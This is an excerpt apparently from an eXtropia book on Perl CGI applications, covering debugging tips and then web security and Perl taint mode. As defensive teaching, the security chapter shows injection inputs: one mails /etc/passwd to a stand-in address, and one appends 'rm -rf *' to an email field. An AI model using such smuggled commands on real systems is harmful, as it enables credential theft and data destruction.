This command tells the server to send you the output of the requested document, which in this case is a CGI application. After your GET request, the web server will execute your CGI application and send back the results.

9.3.5 USING print "Content-type: text/html\n\ntest";exit;

Another method that you can use to find out where a logical error is when it is not a ‘‘syntax error’’ but an HTTP error is to use `print "Content-type: text/html\n\ntest"; exit;`. An HTTP error causes the dreaded, ‘‘404 document contains no data’’ error that the command line and error logs won’t necessarily help with. The application will run fine from the command line, but it won’t run from the web.

Look at the hello world application with a couple of minor changes:

```
    #!/usr/local/bin/perl
    use CGI;
    my $cgi = new CGI();

    my $param;
    foreach $param ($cgi->param()) {
        print "$param = " . $cgi->param($param) . "<BR>\n";
    }

    print "Content-type: text/html\n\n";
    print "Hello World<P>";
    print "</HTML>";

When you run this application, you will get a "404 document
contains no data" error because the program has sent text to
the browser (the variable names and values) before it has sent
the magic HTTP header line "Content-type: text/html\n\n". But
how would you find out that this is a problem?
```

The solution is to use the ‘‘`print "Content-type: text/html\n\ntest";exit;`’’ line to walk through your routine one step at a time to discover at which point the problem begins. Let’s try it.

```
    #!/usr/local/bin/perl
    print "Content-type: text/html\n\ntest";exit;
    use CGI;
    my $cgi = new CGI();

    my $param;
    foreach $param ($cgi->param()) {
        print "$param = " . $cgi->param($param) . "<BR>\n";
    }

    print "Content-type: text/html\n\n";
    print "Hello  World<P>";
```

That is going to work just fine. The web browser will read ‘‘test’’ and we will know that the error is not being caused by the first line of the application. Notice that because we use the `exit()` function, Perl will stop executing the application so we will not get any of the other info.

Next, let’s move the testing line down...

```
#!/usr/local/bin/perl
use CGI;
my $cgi = new CGI();
print "Content-type: text/html\n\ntest";exit;
my $param;
foreach $param ($cgi->param()) {
    print "$param = " . $cgi->param($param) . "<BR>\n";
}

print "Content-type: text/html\n\n";
print "Hello World<P>";
```

That is going to work just fine too. Youre getting bold there jumping two lines at a time, but when you actually use this method, you can feel free to jump entire routines if you are sure they are not the cause of the bug. Just don’t jump too many at once.

Okay, now let’s dump the line into the foreach loop.

```
#!/usr/local/bin/perl
use CGI;
my $cgi = new CGI();
my $param;
foreach $param ($cgi->param()) {
    print "Content-type: text/html\n\ntest";exit;
    print "$param = " . $cgi->param($param) . "<BR>\n";
}
print "Content-type: text/html\n\n";
print "Hello World<P>";
```

That works too. Remember to pass some variables as URL encoded data as shown above.

Finally, we move the line to the end of the foreach loop and we see that we get the `404 document contains no data` problem.

```
#!/usr/local/bin/perl
use CGI;
my $cgi = new CGI();
my $param;
foreach $param ($cgi->param()) {
    print "$param = " . $cgi->param($param) . "<BR>\n";
    print "Content-type: text/html\n\ntest";exit;
}

print "Content-type: text/html\n\n";
print "Hello World<P>";
```

That is it. Weve just discovered where the bug was. We can bonk ourselves on the head and say, ‘‘Of course, the HTTP header MUST be the first thing printed to the browser!

9.3.6 Using Data::Dumper

Data::Dumper is an exceptionally cool Perl module that allows you to easily print out the current state of any standard Perl data structure. Though there are many features available with *Data::Dumper*, and although there are many ways to use it, we generally prefer the simple approach when debugging. Specifically, we use the syntax:

```
use Data::Dumper
print Data::Dumper->Dump([$object_name],[*type_glob_name]);
```

Finally, note that you can always get more detailed documentation on Data::Dumper, by using perldoc from the command line:

```
$ perldoc Data::Dumper
```

9.3.7 Confess, Croak, and Die

When you are working with objects it can sometimes be difficult to use the `print "Content-type: text/html\n\ntest";exit;` method because object relationships can often get very complex. A single call from a application executable may seem simple enough, but it may open a complex set of object relationships.

Thus, moving the debug line from one line of code to another can be a little misrepresentative of where the error is occurring. As a result, Perl offers several useful debugging tools that are tuned to the needs of object-oriented programming. These are `croak(), confess(),` and `die()` that all come with the *Carp* module.

However, it is worth mentioning that from a debugging perspective, you can use the following guidelines to determine which tool to use. Use `die()` for shallow errors such as when you are editing the application executable or the primary application object.

Use `croak()` or `confess()` if you are debugging modules such as eXtropia drivers.

> **NOTE: Within the context of debugging web applications, you should add the fatalsToBrowser pragma in *CGI::Carp* so that errors will be sent to the browser in their full text form. For example, you should use:**
>
> `use CGI::Carp qw(fatalsToBrowser);`

9.4 In Conclusion

Well, that’s all folks. If you are comfortable with the debugging tools outlined here and you are ready to get your mindset in gear, then you should have no worries. Think of CGI debugging as fun. In fact, to get practice, try going to a CGI discussion forum like the one at http://www.extropia.com/cgi-bin/prod/BBS/Scripts/bbs_entrance.cgi and helping people solve their prob-

lems. You will not only hone your own skills, but make the CGI community a happier group to be a part of. Good luck.

;o)

10 Web Security and eXtropia Applications

10.1 Overview

> **"All data is fraudulent. All communications are attempted hacks. All clients are thieves. Technology is only my first and weakest line of defense" - morning litany for a Web Server Administrator**

The minute you connect your computer to the Internet is the minute that the security of your data has been compromised. Even the most secure systems, shepherded by the most intelligent and able system administrators, and employing the most up-to-date, tested software available are at risk every day, all day. As was proven by Kevin Mitnick in the celebrated cracking of the San Diego Supercomputer Center in 1994, even the defenses of seasoned security veterans like Tsutomu Shimamura can be cracked.

The sad fact is that crackers will always have the upper hand. Time, persistence, creativity, the complexity of software and the server environment, and the ignorance of the common user are their weapons. The system administrator must juggle dozens of ever-changing, complex security-related issues at once while crackers need only wait patiently for any slip-up. And of course, system administrators are only human.

Thus, the system administrator's job certainly can not be to build a ''cracker-proof'' environment. Rather, the system administrator can only hope to build a ''cracker-resistant'' environment.

A cracker-resistant environment is one in which everything is done to make the system ''as secure as possible'' while making provisions so that successful cracks cause as little damage as possible and can be discovered as soon as possible.

Thus, for example, at minimum the system administrator should backup all of the data on a system so that if the data is maliciously or accidentally erased or modified, as much of it as possible can be restored.

> **NOTE: By the way, don't think that just because your job title is not officially "system administrator" that this does not apply to you. In fact, as soon as you implement a CGI application, you become a system administrator of sorts. For example, the implementer of a WebStore CGI application will have her own users, data files, and security concerns. Thus, it is also your responsibility to make security your number one concern.**

Here is a rough check list of minimum level security precautions:

1. Make sure users understand what a good password is and what a bad password is. Good passwords cannot be found in a dictionary and take advantage of letters, numbers and symbols. Good passwords are also changed with some regularity and are not written on scraps of paper in desk drawers.

2. Make sure that file permissions are set correctly. All files should be given the absolute minimum access rights.

3. Make sure to keep abreast of security announcements, bug fixes and patches. For example, put yourself on a CERT (http://www.cert.org/) or a CIAC (http://www.ciac.org/) mailing list and/or return regularly to the sites that distribute the code you use. For eXtropia applications, add yourself to the mailing list in order to get security bulletins.

4. Attempt to crack your site regularly. Learn the tools the crackers are using against you and try your best to use those tools to crack yourself.

5. Make regular backups.

6. Create and check your log files regularly.

10.1.1 What is the Worst That Can Happen

Protecting a site is a serious matter and one that everyone should take time to address. Unfortunately, too many web server administrators make the mistake of saying that, *"Since I dont have a high visibility site, and since I don't have a beef with anyone, no one will bother to mess with me."*

In fact, you are a target as soon as you have a web presence. Many crackers need no greater excuse than the desire to cause mischief to crack your site.

Once a cracker has access to your system, he or she can do all sorts of mean and nasty things.

Consider some of the following possibilities:

1. Your data/files are erased.

2. Your data/files are sold to your competitor.

3. Your data/files are modified. Check out what happened to the CIA site and others at http://www.2600.com/hacked_pages/.

4. The cracker uses your site to launch attacks against other sites. For example, the cracker attempts to crack the White House server as you.

5. The confidential information provided by your clients is accessed and used against them. ''Well, Mr. Powers, I see from this log file that you have purchased one Swedish penis enlarger!''.

6. Cracker uses your account to launch attacks against other users on the same box. Other innocent users have all this happen because of you.

10.1.2 Security and Web Servers

Web services are some of the most dangerous services you can offer.

Essentially, a web server gives the entire net access to the inner workings of your file system. What is worse is the fact that since web server software has only been around since the end of the 1980's, the security community has only had a limited amount of time to scrutinize security holes. Thus, web servers amount to extremely powerful programs which have only been partially bug-tested.

If that were not bad enough, web servers are typically administered by new web server administrators with perhaps more experience in graphic design than server administration. Further many web servers are home to hundreds of users who barely know enough about computers to write HTML and who are often too

busy with their own deadlines to take a moment to read things such as this.

This is not to point fingers at anyone. Few people have time or inclination to master security. And that is as it should be. The point is that bad passwords, poorly written programs, world readable files and directories and so forth will always be part of the equation and these are not things that only security gurus can control.

10.1.3 Web Security and CGI Applications

Beyond the fact that web servers are insecure to begin with, web servers make a bad situation worse by allowing users to take advantage of CGI applications.

CGI applications are programs that reside on a server and can be run from a web browser. In other words, CGI applications give Joe Cyberspace the ability to execute powerful programs on your server that in all likelihood are first generation, designed by amateurs, and full of security holes.

Yet, since most users have grown to expect CGI access, few system administrators can deny their users the ability to write, install and make public CGI applications of all sorts.

So what is a system administrator to do and how can users of CGI applications help to promote the security of the server as a whole?

As is the case with all security, the administrator and users must attempt to address the following precautions:

CGI applications must be made ‘‘as safe as possible’’. The inevitable damages caused by cracked CGI applications must be contained.

10.1.4 Reviewing Applications

Needless to say, every application installed on a server should be reviewed by as many qualified people as possible. At very least the system administrator should be given a copy of the code (before and after your modifications), information about where you got the code, and anything else she asks for.

Don’t think of your system administrator as a paranoid fascist. She has a very serious job to do. Help her to facilitate a safer environment for everyone even if that means a little more work for you.

Besides that, you should read the code yourself. There is no better time to learn this stuff than now. Although ignorant users will necessarily be part of the security equation it does not give you the go-ahead to be one of those users.

And remember, any bit of code that you do not understand is suspect. As a customer, demand that application authors explain and document their code clearly and completely.

However, you have a further responsibility. You have the responsibility to keep aware of patches, bug fixes, and security announcements. It is likely that such information will be posted on the site from which you got the application. It certainly is posted on eXtropia. As new versions come out, you should do your best to upgrade. And when security announcements are issued, you must make the necessary modifica-

tions as soon as possible.

The fact that the information is available to you means that the information is also available to crackers who will probably use it as soon as it is available.

This point is particularly important for all you freelance CGI developers who install applications for clients and then disappear into the sunset. It is essential that you take the responsibility to develop an ongoing relationship with your clients so that when security patches are released you can notify them so that they can hire you or someone else to implement the security changes.

10.2 Writing Safe CGI Applications

Although this section is primarily focused on installing and customizing pre-built web applications, no discussion of security would be complete without a note on writing safe code. After all, some of the installation/customization work you do might involve writing some code.

Perhaps the best source for information on writing safe CGI applications can be found at Lincoln Stein's WWW Security FAQ (http://www.w3c.org/Security/faq/). Lincoln Stein is a gifted CGI programmer with several public domain talks and FAQS regarding techniques for writing safe CGI.

You should not even consider writing or installing a CGI application until you have read the entire FAQ. However, we will reproduce the most important warning since it should be said several times.

In the FAQ, Stein writes the following,

> *"Never, never, never pass unchecked remote user input to a shell command. In C this includes the open(), and system() commands, all of which invoke a /bin/sh subshell to process the command. In Perl this includes system(), exec(), and piped open() functions as well as the eval() function for invoking the Perl interpreter itself. In the various shells, this includes the exec and eval commands."*
>
> Backtick quotes, available in shell interpreters and Perl for capturing the output of programs as text strings, are also dangerous. The reason for this bit of paranoia is illustrated by the following bit of innocent-looking Perl code that tries to send mail to an address indicated in a fill-out form.

```
$mail_to = &get_name_from_input; # read the address from form
open (MAIL,"| /usr/lib/sendmail $mail_to");
print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
close MAIL;
```

> The problem is in the piped `open()` call. The author has assumed that the contents of the `$mail_to` variable will always be an innocent email address. But what if the wily hacker passes an email address that looks like this?

```
nobody@nowhere.com; mail badguys@hell.org</etc/passwd;
```

Now the `open()` statement will evaluate the following commands:

```
/usr/lib/sendmail nobody@nowhere.com
mail badguys@hell.org</etc/passwd
```

Unintentionally, `open()` has mailed the contents of the system password file to the remote user, opening the host to password-cracking attack.‘‘>

Other CGI security FAQS include:

1. NCSA Security FAQ: http://hoohoo.ncsa.uiuc.edu/cgi/security.html

2. eXtropia Taint Mode FAQ: http://www.extropia.com/tutorials/taintmode.html

3.CGI Security: Better Safe Than Sorry: http://www.irt.org/articles/js184/index.html

10.2.1 Stopping Snoopers

Have you ever investigated a web site by modifying the URL? For example, let’s look at one of the pages on eXtropia that can be found at http://www.extropia.com/news.html.

Notice that we are looking at the document news.html file that is in the root directory of the web server ‘‘www.extropia.com’’.

Suppose we are interested in knowing what other documents are located in the ‘‘private_stuff’’ directory (perhaps documents under development, documents which have been forgotten about, or documents which might have unlisted links for internal use only). To find out, we remove the ‘‘news.html’’ reference and test to see if the web administrator has configured the web server to generate a dynamic index and have not included an index file.

In this case we have not.

What you are not looking at is a dynamically created index page containing all files and sub-directories. In fact, many servers on the web are configured so that if the user has not provided an index.html file, the server will output a directory listing much like this. This is not exactly a security bug. Oftentimes, as is the case with our site, the system administrators wanted users to be able to view directory structures.

However, if the server is set to produce a dynamically generated index of a cgi-bin directory, the results can be devastating.

1. Configure the web server to not generate dynamically produced indexes but return an error message instead.

2. Configure your web server to not serve any document other than .cgi documents from within a cgi-bin directory tree.

3. Provide an index.html file with nothing in it so that even if the web server is not configured for CGI security, the cracker will be stopped in their tracks.

4. Move as many of the sensitive files as you can out of the web document tree.

There is another aspect of the snooper that you should definitely be aware of when installing pre-built applications. Snoopers have just as much ability to download the source code and read through it as you do. Thus, they are aware of all of the pre-configured options that are set by default.

In particular, they are aware of filenames and relative directory locations. Thus, if you do not change the default names of files and directories, even if you have stopped them from using the back door and getting directory listings as shown above, they will still know what is available and can access it directly.

In other words, if I know that you are using ‘‘CGI application A’’ and that ‘‘CGI application A’’ uses a file called ‘‘users.dat’’ in a subdirectory called ‘‘Users,’’ I might look for it directly using:

http://www.yourdomain.com/cgi-bin/ScriptA/Users/users.dat

In such a way, a cracker could easily gain sensitive information.

As a result, it is crucial that you also rename any file or directory that contains sensitive information. Once you have made it impossible for the hacker to get a dynamically generated index and you have changed all filenames and directory names, it will be much more difficult for the cracker to find her way in.

10.2.2 Writable Directories

It is pretty much unavoidable. Any truly complex CGI application is going to have to write to the file system. Examples of writing to the file system include adding to a password file of registered users, creating lock and log files, or creating temporary state maintenance files.

The problem with this is two-fold. First, if the web surfer is given permission to write, she is also, necessarily given permission to delete. Writing and deleting come hand in hand. They are considered equal in terms of server security.

The second problem with writable files is that it is possible that a cracker could use the writable area within your cgi-bin tree to add a CGI application of their own. This is particularly dangerous on multi-user servers such as those used by your typical ISP. A cracker need only get a legitimate account at the same ISP you are on long enough to exploit the security hole. This amounts to 20 minutes worth of payment on their part.

> **NOTE: By the way, this cracker tactic of getting an account on your ISP also has serious implications for "snooping". If the cracker can get an account on your server, there is little to stop her from getting at your cgi-bin directory and snooping around. With luck, your ISP runs a CGI wrapper which will obfuscate your cgi-bin area to some degree, but one way or the other, so long as you host your web site on a shared server, your security is seriously compromised. This makes backups even more crucial!**

For the most part, the solution to this is to never store writable directories or files within your cgi-bin tree. All writable directories should be stored in less sensitive areas such as outside of your HTML tree or in directories like /tmp that are already provided for insecure file manipulation. A cracker could still erase your data but they could not execute their own rogue CGI application.

However, as we said before, security is about containing damage as well as it is about plugging holes. Thus, it is essential that you protect all files against writing unless you are currently working on them. In other words, if you are not editing an HTML file, it should be set to read-only access. If you are not currently editing the code of a CGI application, it should be stored as read-execute-only.

In short, never grant write permission to any file on your web server unless you are specifically editing that file.

Finally, always backup your files regularly.

10.2.3 User Input

All input is an attempted hack. All input is an attempted hack. All input is an attempted hack. Learn those words and repeat them to yourself every day. It is essential for you to consider all information that comes into your CGI application as tainted. The example shown earlier provided by Lincoln Stein is a good example of the kinds of havoc a cracker can create with tainted data. A cracker could easily attempt to use your CGI to execute damaging commands.

An interesting addition to what Stein has to say relates to Server Side Includes (SSI). That is, if your server is set to execute server side includes, it is possible that your CGI application could be used to execute illegitimate code.

Specifically, if the CGI application allows a user to input text that will be echoed back to the web browser window through plain HTML files, the cracker could easily input SSI code. This is a common misconfiguration error for programs like guestbooks. The solution to this problem, of course, is to filter all user data and remove any occurrence of SSI commands. Typically, this is done by changing all occurrences of ‘‘<!’’ to ‘‘<-’’. Thus, SSI commands will be printed out instead of executed.

A better option is to disable SSI command execution that is even more dangerous than CGI, especially when combined with CGI.

10.2.4 Cross Site Scripting Problem

In February 2000, CERT posted advisories related to CSS-- Cross Site Scripting. No, this is not the same as CSS, Cascading Style Sheets, but rather is the unfortunate acronym that CERT assigned to this problem.

In a nutshell, the advisory ultimately related to the fact that you cannot trust user input in CGI scripts, *especially if that input will be used to produce further output from the CGI script.*

Previously we talked about how user input needs to be watched relative to causing damage to your web site. But what about the other visitors to your site?

Badly coded HTML can be equally annoying, or if they take advantage of browser security problems, dangerous. Consider a piece of javascript code that continually places `alert()` dialog boxes on a user's browser. That user would probably not want to come back to your site soon afterwards.

However, if you allow other users to post HTML into a message forum, guestbook, or another application where user's share information, then you are opening your web site to this problem of Cross Site Scripting where a user can post malicious code on your application that other user's access.

To avoid this problem, there are a few things you should consider doing in such applications. First, you could use *Extropia::DataHandler::HTML*. This data handler escapes HTML tags characters so they are rendered useless (eg < with <). Another technique is to enable authentication for user data submissions so that you can keep track of who posted malicious HTML code.

In addition, because there are problems with how browsers interpret different character sets, the < > can sometimes have aliased characters in a different character set. To get around this problem, the character set should be explicitly stated along with the Content-Type header. Note that the latest versions of CGI.pm and the Apache web server tack on an explicitly stated character set by default since the CSS issue was announced by CERT.

To obtain more details on CSS, the following two URLs should help you get started:

http://www.cert.org/advisories/CA-2000-02.html

http://www.cert.org/tech_tips/malicious_code_mitigation.html

10.3 Taint Mode: Perl's Personal Paranoid Mode

Another thing to understand about the legitimacy of incoming data is that even the data that is supposedly generated administratively can be tainted. It is very easy, for example, to modify hidden form fields or add custom fields to incoming form data to a application. In fact, a cracker could simply download your HTML form, modify it and submit faulty data to your CGI application from their own server. Taint mode is a mode in Perl in which all data that has originated from or comes into contact with user input is considered suspect, or tainted. When running in taint mode, Perl makes sure that tainted data cannot be used to perform operations that might have destructive consequences if the data did not fit the expected input to the program. It turns out that this capability is extremely useful for CGI applications.

Unfortunately only a few references to taint mode documentation exist. Even worse, the number of public domain Perl scripts that exist for CGI programming that enable Taint mode that you could learn from by example is virtually none.

However, if you would like to learn more, there are still a few useful references. OReilly's Programming Perl book has a section on handling insecure data that is also reflected in perldocs perlsec guide to Perl Security within the Perl distribution. On the FAQ front, Lincoln Stein's WWW Security FAQ is located at http://www.w3c.org/Security/faq/, and our own taint mode security FAQ is at

http://www.extropia.com/tutorials/taintmode.html.

10.3.1 What is Taint Mode

Freeware CGI applications are available for download all over the Web. But how many of them are really secure? When you download an application do you check all the logic to make sure it is secure? Do you read through each line of code and anticipate all the ramifications? Most of the time the answer is ‘‘no’’. After all, the whole point of downloading software is to get it and run it for free without having to do a lot of work.

Unfortunately, the harsh reality is that if you are really interested in security, there isn’t any free lunch out there.

The more complicated a CGI application is, the more likely you will want to find someone else who has already programmed it and avoid doing the work yourself. Also, the more complex a script, the less likely you will care to spend the time scrutinizing it.

The problem is that regardless of how good the author is, every large program has a good probability of having bugs -- with an additional probability that some of them may be security bugs.

However, unlike other languages, Perl offers an ingenious programming model built to check for security issues: taint mode. Basically, taint mode puts a Perl application into ‘‘paranoid’’ mode and treats all user supplied input as tainted unless the programmer explicitly ‘‘OKs’’ the data.

10.3.2 Using Taint Mode In CGI Scripts

To enable taint mode for a script on a site which has Perl 5, change the line at the top of your CGI script from

```
#!/usr/local/bin/perl
```

to

```
#!/usr/local/bin/perl -T
```

Note: your path to the Perl executable may vary depending on your server.

Unfortunately, non-UNIX web servers may have trouble activating taint mode for CGI scripts. CGI Scripts running on non-UNIX Servers typically do not recognize the magical #!/usr/local/bin/perl first line of the script. Instead, the web server knows what language to execute the server with because of an operating system or web server configuration variable.

For example, for IIS on NT, you should change the association of Perl scripts to run with taint mode on. Unfortunately, this changes the association for all your Perl scripts. You may not want this behavior if you have legacy scripts that are not built to handle taint mode.

A more reasonable way is to get around the problem by creating a second extension under NT such as tcgi or tgi and associate it with taint mode Perl. Then, rename the applications with the new extension to activate taint mode on them. Thus, even if you have legacy scripts that cannot handle taint mode activation, their migration to taint mode can happen in a planned fashion rather than all at once.

You could also try using another web server that understand the first line of scripts. For example, SAMBAR, a freeware NT web server, can be configured to run the script based on the first line of the cgi script. Apache for Windows also has a similar capability. In this case, you would change the first line to read something like the following:

```
#!c:\perl\bin\perl.exe -T
```

Note: when you execute a taint mode script from the command-line with the Perl executable, you must pass the -T parameter to the Perl executable or Perl will complain that the '-T' argument was passed too late in the first magic line of the Perl file.

10.3.3 What To Do After Taint Mode Is On

You should test your application thoroughly to see if turning on taint mode stops any valid part of your program from executing. Usually the majority of your application will work well. In fact if you are lucky, the whole program may work without any changes at all!

The major caveat to this is that taint mode is not a compile time check. It is a run-time check.

Run-time checking means that taint mode Perl is constantly and vigilantly checking to see if the application is going to do anything unsafe with user input while the program runs. It does not stop checking after the application first loads and compiles (compile-time checking).

Unfortunately, Run-time checking means that you need to test all logical paths of execution your application might take so that ''legal operations'' do not get halted because of taint mode. Taint mode, because it is ultra paranoid, will likely stop actions that you want your program to take. Thus, you must go through the program with a fine tooth comb. If any part of your program fails to execute, then you need to find out what taint mode does not like about the program and rectify it.

Fortunately, the applications and objects in this book have been thoroughly tested with taint mode. However, if you add your own additions or objects, you should always conduct a test of the operations of your program to make sure it is still doing what you want.

Likely, if there is a problem with taint mode, you will encounter an error in the Web Server error log. For example, if we try to run a program with tainted user input passed to a system call, we would get something that looks like the following error:

```
Insecure dependency in system while running with -T switch at ...
```

Likewise, if we have an unclean PATH, a system call may complain about the path being insecure:

```
Insecure $ENV{PATH} while running with -T switch at ...
```

10.3.4 How Do We Program For Taint Mode

For a CGI application, the only user input is user submitted form data. It is this user input that the Perl application will consider ‘‘tainted’’.

This does not mean that you have to immediately go through a lot of hoops to untaint all the form variables that come in. Not only would that be a big pain to do, but its unnecessary.

Instead, Perl only considers the combination of form variables plus the use of a potentially ‘‘unsafe’’ operation to be illegal. Potentially ‘‘unsafe’’ operations are operations that could have a permanent destructive effect if the wrong parameters are passed.

Potentially unsafe operations include, but are not necessarily limited to, system calls of any sort such as using system, backticks or piped open function calls, open calls that can write to disk, unlink which deletes files, rename, as well as the evaluation of code based on user input.

In the example given below, we use ‘‘mail’’ as an example program, but really the examples here apply to any system call with command line parameters.

For example, if the CGI object’s email form variable is ‘‘tainted’’, then the following would still be legal:

```
print $cgi->param("email") . "\n";
```

This passes Perls taint mode check because the print command is not an unsafe operation. But if you try to pass the same variable to an unsafe version of a system call, Perl will complain.

```
system("mail " . $cgi->param("email"));
```

This operation is illegal under taint mode. Making an unsafe system call plus passing form data as a command line argument is terribly unsafe and is considered unacceptable by Perl running in taint mode. Consider what would happen if someone entered an email address on the form like

```
me@mydomain.com; rm -rf *
```

This would cause the mail program to be executed with the following command-line:

```
mail me@mydomain.com; rm -rf *
```

The mail program would execute, but at what cost? The semi-colon is a shell metacharacter that tells the operating system shell to launch another command. In this case, it is the malicious ’rm -rf *’ that is a command to delete all files for the current directory and all subdirectories recursively.

10.3.5 Shell Metacharacters

A shell metacharacter is a special character that has meaning to a shell or command-line interpreter that tells it to execute a command or perform some action. Therefore, shell metacharacters are the most dangerous to pass to an executable program because they can cause unexpected and undesirable behavior.

The following is a sample list of shell metacharacters:

```
&;‘’\"|*?~<>^()[]{}$\n\r
```

Clearly, there are security ramifications. With taint mode turned on though, the Perl interpreter will stop this from occurring at all. However, Perl can’t tell what is in the CGI object -- it just assumes HTML form data is tainted whether it is friendly or not. Just to be on the safe side, Perl assumes that all users are malicious.

Thus, if you want to perform that type of command with a user supplied variable, you must always untaint it regardless of whether it contains harmless input or not. Remember, Perl only sees that the string was created as a result of user input (such as a form variable). It has no way of knowing whether the string is safe or not until you untaint it with the techniques we outline here.

It is important to emphasize that this advice is true even for hidden form tags in an HTML page. HIDDEN form tags that are not directly entered by a user are considered tainted by Perl because Perl has no way of telling that the user did not enter that form variable.

After all, it is possible for a user to create their own HTML form and place their own hidden tag values on that form. In other words, all form data passed to the CGI script is considered tainted by Perl.

10.3.6 Untainting Using Regular Expressions

The primary way to untaint a variable is to do a regular expression match using groupings enclosed by parentheses inside your expression match pattern. (In Perl, the first matching pattern, enclosed by parentheses in your ’regexp’, will be stored in the special variable ‘‘$1’’; a match for the second pattern-in-parentheses will be stored in ‘‘$2’’, and so on. Thus, given the data and the regexp the value of `$1` becomes [val1] and the value stored in `$2` will be [val2].) parenthetical groups inside the regular expression pattern match. In Perl, the first parenthetical group match gets assigned to $1, the second parenthetical group to $2, and so on.

Perl considers these new variables that arise from parenthetical groups to be untainted because they arose from a clean operation. Once your regular expression has created these variables, you can use them as your new untainted values.

The following will illustrate this:

Email addresses consist of word characters (a-zA-Z_0-9), dashes, periods and an @ sign. So we want to match this descriptive template. But there is a catch.

If we allow email addresses to have dashes, a lot of programs use dash to signify a command-line parameter. So although we allow dashes in the email address, if you want to be extra careful, make sure that the first character of the email address is only a word character and does not contain dashes or periods. The likelihood that someone really has an email address that begins with a period or dash is relatively low.

Thus, our descriptive template becomes the following:

Match first character as a word character, no extra ones allowed like dashes.

Match 0 or more subsequent characters as word characters that can also include dashes and periods.

Match at least one @ symbol after the preceding two rules.

Match every character (at least one) for the domain name of the email server after the @ symbol. This can consist of word characters, dashes, and periods.

The regular expression for this template is:

```
/
  \w{1}        # match 1 word character
    [\w-.]*    # match 0 or more word character, hyphen or period.
      \@       # match any one @ symbol
    [\w-.]+    # match one or more word character, hyphen or period.
/
```

Note: some of these characters are considered shell meta characters. However, because we are disallowing white space as well as forcing the first character to be a word character not containing any meta characters, we are significantly safer.

Further, let us assume that somewhere in the program a variable called `$email` has been assigned from the CGI object that contains a value submitted by the user from an HTML form using a statement like the following:

```
$email = $cgi->param("email");
```

Now the `$email` variable is now tainted as well. This is because its value arose directly from another variable that contained tainted (user input) data, namely the CGI object form variable returned from the param method.

So to untaint a variable called $email, you would do the following with a regular expression. Notice the addition of the parentheses to create a parenthetical grouping.

```
if ($email =~ /(\w{1}[\w-.]*)\@([\w-.]+)/) {
    $email = "$1\@$2";
} else {
    warn ("TAINTED DATA SENT BY $ENV{'REMOTE_ADDR'}: $email: $!");
    $email = ""; # successful match did not occur
}
```

OK. Let's go over this in a little more detail.

When you use () inside a regular expression, each group of parentheses is mapped to a $# variable where # is the number mapped to however many groups you have. For example, the first set of parentheses that matches in the regular expression is referred to as $1.

In the above example, the first parentheses surround `(\w{1}[\w-.]*)`. This expression matches one or more word characters, dashes, and periods with at least one word character before it which does not contain dashes or periods. Because of the parentheses, this first match gets assigned to `$1` by Perl.

Then, an @ symbol is matched.

Finally, the second set of parentheses `([\w-.]+)` matches one or more of any word characters, dashes, and periods. This second match gets assigned to `$2` by Perl.

If the regular expression is successful, `$1` (first parenthetical match) will equal the username portion of the email address and `$2` (second parenthetical match) will equal the domain portion.

Thus, the next command, `$email = "$1\@$2";` replaces the previously tainted email variable with the safe counterparts: `$1` followed by an @ symbol followed by $2.

Notice that `$1` and `$2` are both considered untainted now. This is very important to see.

Yes, they did arise from the user input data, but Perl considers these variables special. Perl believes that because they resulted from a regular expression you set up, that you have explicitly checked the data for validity in that regular expression. Thus, `$1` and `$2` are not considered tainted because Perl believes in your ability to set up a good clean regular expression check.

On the other hand, if the user entered an email address that did not match this ''template'', `$1` and `$2` will equal nothing because the regular expression will have failed. The example above would assign `$email = ""` in this case because we would have executed the `else` clause.

Of course, if the user is trying to hack your system, this is a good thing. You only want valid email addresses to come through. You should generally check for the failure of the regular expression as we did above. Then, in the else clause you can do something about the bad data.

As an additional plus, checking for the failure of the regular expression allows you to do something such as print an informational message to STDERR about the variable that did not pass taint checking along with the IP address of the user that tried to pass it. An example of this was illustrated in the else block of code above.

When a CGI script prints to STDERR, that output goes to your Web Server's error log. You should always check your error log for potential hack attempts. Of course, you could always add more sophisticated means of notification such as emailing the bad data directly to you.

Also, if you are really worried about your program's integrity, you could use `die()` instead of `warn()` to stop the program rather than quietly warning you.

Additionally, the `Extropia::Log` classes may be useful in this case. For example, `Extropia::Log::Composite` can allow multiple types of logging to occur given multiple log objects.

There is another reason to use an if statement to check if the taint regular expression match failed or not. The special variable `$1` will remain set to the last successful match if the current regular expression was unsuccessful. Thus, if you are doing several regular expression checks such as these, you may get subtle errors in the program if you do not explicitly check if the match failed or not.

For example, the passed `$1` from a previous regex could pass along to another failed regex for a completely different variable. If an email regex passed before a firstname regex, it would look very weird to assign the `$1` from the successful email regex to the firstname variable.

Why Not Just Clear Taint Mode With An Open Regular Expression?

DON'T DO THIS!!!

Perl usually has a good reason for thinking the input is unsafe. For example, there is a common misconception that HIDDEN INPUT tags on an HTML form that are generated by a CGI script is ''safe''. This is not true because a user could easily mimic your form by making their own HTML form with bogus values. A user blindly untainting HIDDEN INPUT tag values will be in hot water if someone does end up spoofing the values.

Taint mode will catch all this. Avoid the temptation to quickly dismiss a tainted variable by using an ''open'' Regular expression. This cannot be emphasized enough.

THE FOLLOWING CODE IS DANGEROUS AND SHOULD NOT BE DONE:

```
$email =~ /(.*)/;
$email = $1;
```

This will match any expression. Thus, effectively no check has actually been done. Yet the `$email` variable has been untainted.

10.3.7 How To Choose An Untaint Regular Expression

Apart from the mantra that you should never blindly choose a completely open regular expression such as .* to untaint a value, you will typically still be faced with some choice as to how to create a regular expression to untaint your variable.

At minimum, you know that we should filter out shell meta characters that might be interpreted badly by an external system call. There are two different ways to come up with a regular expression: rejection of characters and the acceptance of characters.

It is natural to think that we should write an untaint expression to be based off the rejection of characters we deem 'bad'. This will usually 'work' in the practical sense of the word. However, while you are untainting, you should consider honing your regular expression around the specific data that you are attempting to solve.

By approaching the regular expression from the point of view of accepting only characters that are valid for the data being untainted, you strengthen the regular expression so that it doubles as a data validation routine.

This is important because logic errors may crop up in a program where bad data is placed in a value by a user. To avoid logic errors due to hacking, it is best to hone the regular expression around accepting only those characters that make sense for the data you are dealing with while at the same time filtering all the typical shell meta characters.

Recall that Perl considers `$1` to be safe now because it trusts that you tested the validity of the variable using the regular expression. Perl cannot and does not judge your regular expression. If you choose to make it too loose like the above regular expression, then Perl will let you.

If you do this, you are short changing the point of taint mode which is to make you sit down and think ''What input do I really want and how do I restrict myself to just that set of characters?''.

10.3.8 Fixing Script Problems In Taint Mode

There are two potentially unsafe operations that tend to cause the most problem with taint mode activated. The first is the execution of external programs and the other is loading code to evaluate. To troubleshoot these operations it is important to understand where taint mode evolved from.

Taint mode has been around longer than CGI scripts have been around. So you might ask yourself why was taint mode placed in Perl?

